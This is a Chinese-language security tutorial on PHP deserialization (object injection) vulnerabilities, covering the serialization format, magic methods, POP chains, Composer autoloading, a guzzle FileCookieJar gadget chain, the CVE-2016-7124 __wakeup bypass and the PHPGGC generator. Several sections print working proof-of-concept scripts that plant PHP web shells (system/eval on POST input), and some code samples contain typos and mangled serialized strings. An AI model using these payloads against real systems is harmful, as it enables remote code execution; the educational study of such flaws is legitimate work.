【技术分享】PHP反序列化漏洞
作者:admin | 时间:2017-7-19 22:14:23 | 分类:黑客技术 隐藏侧边栏展开侧边栏
0x00 序列化的作用
(反)序列化给我们传递对象提供了一种简单的方法。
serialize()将一个对象转换成一个字符串
unserialize()将字符串还原为一个对象
反序列化的数据本质上来说是没有危害的
用户可控数据进行反序列化是存在危害的
可以看到,反序列化的危害,关键还是在于可控或不可控。
0x01 PHP序列化格式
1. 基础格式
boolean
1
2
3
|
b:;
b:1; // True
b:0; // False
|
integer
1
2
3
|
i:;
i:1; // 1
i:-3; // -3
|
double
1
2
|
d:;
d:1.2345600000000001; // 1.23456(php弱类型所造成的四舍五入现象)
|
NULL
1
|
N; //NULL
|
string
1
2
|
s::"";
s"INSOMNIA"; // "INSOMNIA"
|
array
1
2
|
a::{key, value pairs};
a{s"key1";s"value1";s"value2";} // array("key1" => "value1", "key2" => "value2")
|
2. 序列化举例
test.php
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?php
class test
{
private $flag = 'Inactive';
public function set_flag($flag)
{
$this->flag = $flag;
}
public function get_flag($flag)
{
return $this->flag;
}
}
|
我们来生成一下它的序列化字符串:
serialize.php
1
2
3
4
5
6
|
<?php
require "./test.php";
$object = new test();
$object->set_flag('Active');
$data = serialize($object);
file_put_contents('serialize.txt', $data);
|
代码不难懂,我们通过生成的序列化字符串,来细致的分析一下序列化的格式:
1
2
|
O:4:"test":1:{s:10:"testflag";s:6:"Active";}
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}
|
3. 注意
这里有一个需要注意的地方,testflag明明是长度为8的字符串,为什么在序列化中显示其长度为10?
翻阅php官方文档我们可以找到答案:
对象的私有成员具有加入成员名称的类名称;受保护的成员在成员名前面加上'*'。这些前缀值在任一侧都有空字节。
所以说,在我们需要传入该序列化字符串时,需要补齐两个空字节:
1
|
O:4:"test":1:{s:10:"%00test%00flag";s:6:"Active";}
|
4. 反序列化示例
unserialize.php
1
2
3
4
5
|
<?php
$filename = file_get_contents($filename);
$object = unserialize($filename);
var_dump($object->get_flag());
var_dump($object);
|
0x02 PHP(反)序列化有关的魔法函数
construct(), destruct()
构造函数与析构函数
call(), callStatic()
方法重载的两个函数
__call()是在对象上下文中调用不可访问的方法时触发
__callStatic()是在静态上下文中调用不可访问的方法时触发。
get(), set()
__get()用于从不可访问的属性读取数据。
__set()用于将数据写入不可访问的属性。
isset(), unset()
__isset()在不可访问的属性上调用isset()或empty()触发。
__unset()在不可访问的属性上使用unset()时触发。
sleep(), wakeup()
serialize()检查您的类是否具有魔术名sleep()的函数。如果是这样,该函数在任何序列化之前执行。它可以清理对象,并且应该返回一个数组,其中应该被序列化的对象的所有变量的名称。如果该方法不返回任何内容,则将NULL序列化并发出E_NOTICE。sleep()的预期用途是提交挂起的数据或执行类似的清理任务。此外,如果您有非常大的对象,不需要完全保存,该功能将非常有用。
unserialize()使用魔术名wakeup()检查函数的存在。如果存在,该功能可以重构对象可能具有的任何资源。wakeup()的预期用途是重新建立在序列化期间可能已丢失的任何数据库连接,并执行其他重新初始化任务。
__toString()
__toString()方法允许一个类决定如何处理像一个字符串时它将如何反应。
__invoke()
当脚本尝试将对象调用为函数时,调用__invoke()方法。
__set_state()
__clone()
__debugInfo()
0x03 PHP反序列化与POP链
就如前文所说,当反序列化参数可控时,可能会产生严重的安全威胁。
面向对象编程从一定程度上来说,就是完成类与类之间的调用。就像ROP一样,POP链起于一些小的“组件”,这些小“组件”可以调用其他的“组件”。在PHP中,“组件”就是这些魔术方法(__wakeup()或__destruct)。
一些对我们来说有用的POP链方法:
命令执行:
1
2
3
4
|
exec()
passthru()
popen()
system()
|
文件操作:
1
2
3
|
file_put_contents()
file_get_contents()
unlink()
|
2. POP链demo
popdemo.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?php
class popdemo
{
private $data = "demo\n";
private $filename = './demo';
public function __wakeup()
{
// TODO: Implement __wakeup() method.
$this->save($this->filename);
}
public function save($filename)
{
file_put_contents($filename, $this->data);
}
}
|
上面的代码即完成了一个简单的POP链,若传入一个构造好的序列化字符串,则会完成写文件操作。
poc.php
1
2
3
4
5
|
<?php
require "./popdemo.php";
$demo = new popdemo();
file_put_contents('./pop_serialized.txt', serialize($demo));
pop_unserialize.php
|
1
2
3
|
<?php
require "./popdemo.php";
unserialize(file_get_contents('./pop_serialized.txt'));
|
表面看上去,我们完美的执行了代码的功能,那么我们改一下序列化代码,看一看效果:
改为:
1
2
|
O:7:"popdemo":2:{s:13:"popdemodata";s:5:"hack
";s:17:"popdemofilename";s:6:"./hack";}
|
便执行了我们想要执行的效果:
3. Autoloading与(反)序列化威胁
PHP只能unserialize()那些定义了的类
传统的PHP要求应用程序导入每个类中的所有类文件,这样就意味着每个PHP文件需要一列长长的include或require方法,而在当前主流的PHP框架中,都采用了Autoloading自动加载类来完成这样繁重的工作。
在完善简化了类之间调用的功能的同时,也为序列化漏洞造成了便捷。
举个例子:
目录结构为下:
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
<?php
class autoload
{
public static function load1($className)
{
if (is_file($className.'.php'))
{
require $className.'.php';
}
}
public static function load2($className)
{
if (is_file('./app/'.$className.'.php'))
{
require './app/'.$className.'.php';
}
}
public static function load3($className)
{
if (is_file('./lib/'.$className.'.php'))
{
require './lib/'.$className.'.php';
}
}
}
spl_autoload_register('autoload::load1()');
spl_autoload_register('autoload::load2()');
spl_autoload_register('autoload::load3()');
$test1 = new test1();
$test2 = new test2();
$test3 = new test3();
|
test1.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<?php
class test1
{
private $test1_data = 'test1_data';
private $test1_filename = './test1_demo.txt';
public function __construct()
{
$this->save($this->test1_filename);
}
public function save($test1_filename)
{
file_put_contents($test1_filename, $this->test1_data);
}
}
|
其余的test2和test3和test1的内容类似。
运行一下index.php:
可以看到已经自动加载类会自动寻找已经注册在其队列中的类,并在其被实例化的时候,执行相关的操作。
若想了解更多关于自动加载类的资料,请查阅spl_autoload_register
4. Composer与Autoloading
说到了Autoloader自动加载类,就不得不说一下Composer这个东西了。Composer是PHP用来管理依赖(dependency)关系的工具。你可以在自己的项目中声明所依赖的外部工具库(libraries),Composer 会帮你安装这些依赖的库文件。
经常搭建框架环境的同学应该对这个非常熟悉了,无论是搭建一个新的Laravel还是一个新的Symfony,安装步骤中总有一步是通过Composer来进行安装。
比如在安装Laravel的时候,执行composer global require "laravel/installer"就可以搭建成以下目录结构的环境:
其中已经将环境所需的依赖库文件配置完毕,正是因为Composer与Autuoloading的有效结合,才构成了完整的POP数据流。
0x04 反序列化漏洞的挖掘
1. 概述
通过上面对Composer的介绍,我们可以看出,Composer所拉取的依赖库文件是一个框架的基础。
而Composer默认是从Packagist来下载依赖库的。
所以我们挖掘漏洞的思路就可以从依赖库文件入手。
目前总结出来两种大的趋势,还有一种猜想:
1.从可能存在漏洞的依赖库文件入手
2.从应用的代码框架的逻辑上入手
3.从PHP语言本身漏洞入手
接下来逐个的介绍一下。
2. 依赖库
以下这些依赖库,准确来说并不能说是依赖库的问题,只能说这些依赖库存在我们想要的文件读写或者代码执行的功能。而引用这些依赖库的应用在引用时并没有完善的过滤,从而产生漏洞。
cartalyst/sentry
cartalyst/sentinel
寻找依赖库漏洞的方法,可以说是简单粗暴:
首先在依赖库中使用RIPS或grep全局搜索__wakeup()和__destruct()
从最流行的库开始,跟进每个类,查看是否存在我们可以利用的组件(可被漏洞利用的操作)
手动验证,并构建POP链
利用易受攻击的方式部署应用程序和POP组件,通过自动加载类来生成poc及测试漏洞。
以下为一些存在可利用组件的依赖库:
任意写
monolog/monolog(<1.11.0)
guzzlehttp/guzzle
guzzle/guzzle
任意删除
swiftmailer/swiftmailer
拒绝式服务(proc_terminate())
symfony/process
下面来举一个老外已经说过的经典例子,来具体的说一下过程。
例子
1. 寻找可能存在漏洞的应用
存在漏洞的应用:cartalyst/sentry
漏洞存在于:/src/Cartalyst/Sentry/Cookies/NativeCookie.php
1
2
3
4
5
6
7
8
|
...
public function getCookie()
{
...
return unserialize($_COOKIE[$this->getKey()]);
...
}
}
|
应用使用的库中的可利用的POP组件:guzzlehttp/guzzle
寻找POP组件的最好方式,就是直接看composer.json文件,该文件中写明了应用需要使用的库。
1
2
3
4
5
6
7
8
|
{
"require": {
"cartalyst/sentry": "2.1.5",
"illuminate/database": "4.0.*",
"guzzlehttp/guzzle": "6.0.2",
"swiftmailer/swiftmailer": "5.4.1"
}
}
|
2. 寻找可以利用的POP组件
我们下载guzzlehttp/guzzle这个依赖库,并使用grep来搜索一下__destruct()和__wakeup()
逐个看一下,在/guzzle/src/Cookie/FileCookieJar.php发现可利用的POP组件:
跟进看一下save方法:
存在一下代码,造成任意文件写操作:
1
|
if (false === file_put_contents($filename, $jsonStr))
|
注意到现在$filename可控,也就是文件名可控。同时看到$jsonStr为上层循环来得到的数组经过json编码后得到的,且数组内容为$cookie->toArray(),也就是说如果我们可控$cookie->toArray()的值,我们就能控制文件内容。
如何找到$cookie呢?注意到前面
跟进父类,看到父类implements了CookieJarInterface
还有其中的toArray方法
很明显调用了其中的SetCookie的接口:
看一下目录结构:
所以定位到SetCookie.php:
可以看到,这里只是简单的返回了data数组的特定键值。
3. 手动验证,并构建POP链
首先我们先在vm中写一个composer.json文件:
1
2
3
4
5
|
{
"require": {
"guzzlehttp/guzzle": "6.0.2"
}
}
|
接下来安装Composer:
1
|
$ curl -sS https://getcomposer.org/installer | php
|
然后根据composer.json来安装依赖库:
1
|
$ php composer.phar install
|
接下来,我们根据上面的分析,来构造payload:
payload.php
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?php
require __DIR__.'/vendor/autoload.php';
use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;
$obj = new FileCookieJar('./shell.php');
$payload = '<?php echo system($_POST[\'poc\']);?>';
$obj->setCookie(new SetCookie([
'Name' => 'lucifaer',
'Value' => 'test_poc',
'Domain' => $paylaod,
'Expires' => time()
]));
file_put_contents('./build_poc', serialize($obj));
|
我们执行完该脚本,看一下生成的脚本的内容:
我们再写一个反序列化的demo脚本:
1
2
3
|
<?php
require __DIR__.'/vendor/autoload.php';
unserialize(file_get_contents("./build_poc"));
|
运行后,完成任意文件写操作。至此,我们可以利用生成的序列化攻击向量来进行测试。
3. PHP语言本身漏洞
提到这一点就不得不说去年的CVE-2016-7124,同时具有代表性的漏洞即为SugarCRM v6.5.23 PHP反序列化对象注入。
在这里我们就不多赘述SugarCRM的这个漏洞,我们来聊一聊CVE-2016-7124这个漏洞。
触发该漏洞的PHP版本为PHP5小于5.6.25或PHP7小于7.0.10。
漏洞可以简要的概括为:当序列化字符串中表示对象个数的值大于真实的属性个数时会跳过__wakeup()的执行。
我们用一个demo来解释一下。
例子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
<?php
class Test
{
private $poc = '';
public function __construct($poc)
{
$this->poc = $poc;
}
function __destruct()
{
if ($this->poc != '')
{
file_put_contents('shell.php', '<?php eval($_POST[\'shell\']);?>');
die('Success!!!');
}
else
{
die('fail to getshell!!!');
}
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v)
{
$this->$k = null;
}
echo "waking up...\n";
}
}
$poc = $_GET['poc'];
if(!isset($poc))
{
show_source(__FILE__);
die();
}
$a = unserialize($poc);
|
代码很简单,但是关键就是需要再反序列化的时候绕过__wakeup以达到写文件的操作。
根据cve-2016-7124我们可以构造一下我们的poc:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
<?php
class Test
{
private $poc = '';
public function __construct($poc)
{
$this->poc = $poc;
}
function __destruct()
{
if ($this->poc != '')
{
file_put_contents('shell.php', '<?php eval($_POST[\'shell\']);?>');
die('Success!!!');
}
else
{
die('fail to getshell!!!');
}
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v)
{
$this->$k = null;
}
echo "waking up...\n";
}
}
$a = new Test('shell');
$poc = serialize($a);
print($poc);
|
运行该脚本,我们就获得了我们poc
通上文所说道的,在这里需要改两个地方:
将1改为大于1的任何整数
将Testpoc改为%00Test%00poc
传入修改后的poc,即可看到:
写文件操作执行成功。
0x05 拓展思路
1. 抛砖引玉——魔法函数可能造成的威胁
刚刚想到这一点的时候准备好好研究一下,没想到p师傅第二天小密圈就放出来这个话题了。接下来顺着这个思路,我们向下深挖一下。
__toString()
经过上面的总结,我们不难看出,PHP中反序列化导致的漏洞中,除了利用PHP本身的漏洞以外,我们通常会寻找__destruct、__wakeup、__toString等方法,看看这些方法中是否有可利用的代码。
而由于惯性思维,__toString常常被漏洞挖掘者忽略。其实,当反序列化后的对象被输出在模板中的时候(转换成字符串的时候),就可以触发相应的漏洞。
__toString触发条件:
echo ($obj) / print($obj) 打印时会触发
字符串连接时
格式化字符串时
与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
格式化SQL语句,绑定参数时
数组中有字符串时
我们来写一个demo看一下
toString_demo.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
<?php
class toString_demo
{
private $test1 = 'test1';
public function __construct($test)
{
$this->test1 = $test;
}
public function __destruct()
{
// TODO: Implement __destruct() method.
print "__destruct:";
print $this->test1;
print "\n";
}
public function __wakeup()
{
// TODO: Implement __wakeup() method.
print "__wakeup:";
$this->test1 = "wakeup";
print $this->test1."\n";
}
public function __toString()
{
// TODO: Implement __toString() method.
print "__toString:";
$this->test1 = "tosTRING";
return $this->test1."\n";
}
}
$a = new toString_demo("demo");
$b = serialize($a);
$c = unserialize($b);
//print "\n".$a."\n";
//print $b."\n";
print $c;
|
执行结果为下:
通过上面的测试,可以总结以下几点:
echo ($obj) / print($obj) 打印时会触发
__wakeup的优先级>__toString>__destruct
每执行完一个魔法函数,
接下来从两个方面继续来深入:
字符串操作
魔术函数的优先级可能造成的变量覆盖
字符串操作
字符串拼接:
在字符串与反序列化后的对象与字符串进行字符串拼接时,会触发__toString方法。
字符串函数:
经过测试,当反序列化后的最想在经过php字符串函数时,都会执行__toString方法,从这一点我们就可以看出,__toString所可能造成的安全隐患。
下面举几个常见的函数作为例子(所使用的类还是上面给出的toString_demo类):
数组操作
将反序列化后的对象加入到数组中,并不会触发__toString方法:
但是在in_array()方法中,在数组中有__toString返回的字符串的时候__toString会被调用:
class_exists
从in_array()方法中,我们又有了拓展性的想法。我们都知道,在php底层,类似于in_array()这类函数,都属于先执行,之后返回判断结果。那么顺着这个想法,我想到了去年的IPS Community Suite <= 4.1.12.3 Autoloaded PHP远程代码执行漏洞,这个漏洞中有一个非常有意思的触发点,就是通过class_exists造成相关类的调用,从而触发漏洞。
通过测试,我们发现了,如果将反序列化后的对象带入class_exists()方法中,同样会造成__toString的执行:
2. 猜想——对象处理过程可能出现的威胁
通过class_exists可能触发的危险操作,继续向下想一下,是否在对象处理过程中也有可能存在漏洞呢?
还记的去年爆出了一个PHP GC算法和反序列化机制释放后重用漏洞,是垃圾回收机制本身所出现的问题,在释放与重用的过程中存在的问题。
顺着这个思路,大家可以继续在对象创建、对象执行、对象销毁方面进行深入的研究。
0x06 PHPggc
在0x04的第二节中,我们提到了cms在引用某些依赖库时,可能存在(反)序列化漏洞。那么是否有工具可以生成这些通用型漏洞的测试向量呢?
当然是存在的。在github上我们找到了PHPggc这个工具,它可以快速的生成主流框架的序列化测试向量。
关于该测试框架的一点简单的分析
1. 目录结构
目录结构为下:
1
2
3
4
5
|
|- phpggc
|-- gadgetchains // 相应框架存在漏洞的类以及漏洞利用代码
|-- lib // 框架调度及核心代码
|-- phpggc // 入口
|-- README.md
|
2. 框架运行流程
首先,入口文件为phpggc,直接跟进lib/PHPGGC.php框架核心文件。
在__construct中完成了当前文件完整路径的获取,以及定义自动加载函数,以实现对于下面的类的实例化操作。
关键的操作为:
1
|
$this->gadgets = $this->get_gadget_chains();
|
可以跟进代码看一看,其完成了对于所有payload的加载及保存,将所有的payload进行实例化,并保存在一个全局数组中,以方便调用。
可以动态跟进,看一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
public function get_gadget_chains()
{
$this->include_gadget_chains();
$classes = get_declared_classes();
$classes = array_filter($classes, function($class)
{
return is_subclass_of($class, '\\PHPGGC\\GadgetChain') &&
strpos($class, 'GadgetChain\\') === 0;
});
$objects = array_map(function($class)
{
return new $class();
}, $classes);
# Convert backslashes in classes names to forward slashes,
# so that the command line is easier to use
$classes = array_map(function($class)
{
return strtolower(str_replace('\\', '/', $class));
}, $classes);
return array_combine($classes, $objects);
}
|
跟进include_gadget_chains方法中看一下:
1
2
3
4
5
6
7
8
9
|
protected function include_gadget_chains()
{
$base = $this->base . self::DIR_GADGETCHAINS;
$files = glob($base . '/*/*/*/chain.php');
array_map(function ($file)
{
include_once $file;
}, $files);
}
|
在这边首先获取到当前路径,之后从根目录将其下子目录中的所有chain.php遍历一下,将其路劲存储到$files数组中。接着将数组中的所有chain.php包含一遍,保证之后的调用。
回到get_gadget_chains接着向下看,将返回所有已定义类的名字所组成的数组,将其定义为$classes,接着将是PHPGGC\GadgetChain子类的类,全部筛选出来(也就是将所有的payload筛选出来),并将其实例化,在其完成格式化后,返回一个由其名与实例化后的类所组成的键值数组。
到此,完成了最基本框架加载与类的实例化准备。
跟着运行流程,看到generate方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
public function generate()
{
global $argv;
$parameters = $this->parse_cmdline($argv);
if(count($parameters) < 1)
{
$this->help();
return;
}
$class = array_shift($parameters);
$gc = $this->get_gadget_chain($class);
$parameters = $this->get_type_parameters($gc, $parameters);
$generated = $this->serialize($gc, $parameters);
print($generated . "\n");
}
|
代码很简单,一步一步跟着看,首先parse_cmdline完成了对于所选模块及附加参数的解析。
接下来array_shift完成的操作就是将我们所选的模块从数组中抛出来。
举个例子,比如我们输入如下:
1
|
$ ./phpggc monolog/rce1 'phpinfo();'
|
当前的$class为monolog/rce1,看到接下来进入了get_gadget_chain方法中,带着我们参数跟进去看。
1
2
3
4
5
6
7
8
9
|
public function get_gadget_chain($class)
{
$full = strtolower('GadgetChain/' . $class);
if(!in_array($full, array_keys($this->gadgets)))
{
throw new PHPGGC\Exception('Unknown gadget chain: ' . $class);
}
return $this->gadgets[$full];
}
|
现在的$full为gadgetchain/monolog/rce1,ok,看一下我们全局存储的具有payload的数组:
可以很清楚的看到,返回了一个已经实例化完成的GadgetChain\Monolog\RCE1的类。对应的目录则为/gadgetchains/Monolog/RCE/1/chain.php
继续向下,看到将类与参数传入了get_type_parameters,跟进:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
protected function get_type_parameters($gc, $parameters)
{
$arguments = $gc->parameters;
$values = @array_combine($arguments, $parameters);
if($values === false)
{
$this->o($gc, 2);
$arguments = array_map(function ($a) {
return '<' . $a . '>';
}, $arguments);
$message = 'Invalid arguments for type "' . $gc->type . '" ' . "\n" .
$this->_get_command_line($gc->get_name(), ...$arguments);
throw new PHPGGC\Exception($message);
}
return $values;
}
|
其完成的操作对你想要执行或者写入的代码进行装配,即code标志位与你输入的RCE代码进行键值匹配。若未填写代码,则返回错误,成功则返回相应的数组以便进行payload的序列化。
看完了这个模块后,再看我们最后的一个模块:将RCE代码进行序列化,完成payload的生成:
1
2
3
4
5
6
7
8
9
10
11
|
public function serialize($gc, $parameters)
{
$gc->load_gadgets();
$parameters = $gc->pre_process($parameters);
$payload = $gc->generate($parameters);
$payload = $this->wrap($payload);
$serialized = serialize($payload);
$serialized = $gc->post_process($serialized);
$serialized = $this->apply_filters($serialized);
return $serialized;
}
|
0x07 结语
关于PHP(反)序列化漏洞的触发和利用所涉及的东西还有很多,本文只是做一个概括性的描述,抛砖引玉,如有不精确的地方,望大家给予更正。
0x08 参考资料
Practical PHP Object Injection
SugarCRM 6.5.23 - REST PHP Object Injection漏洞分析
本文由 安全客 原创发布,作者:Lucifaer@360攻防实验室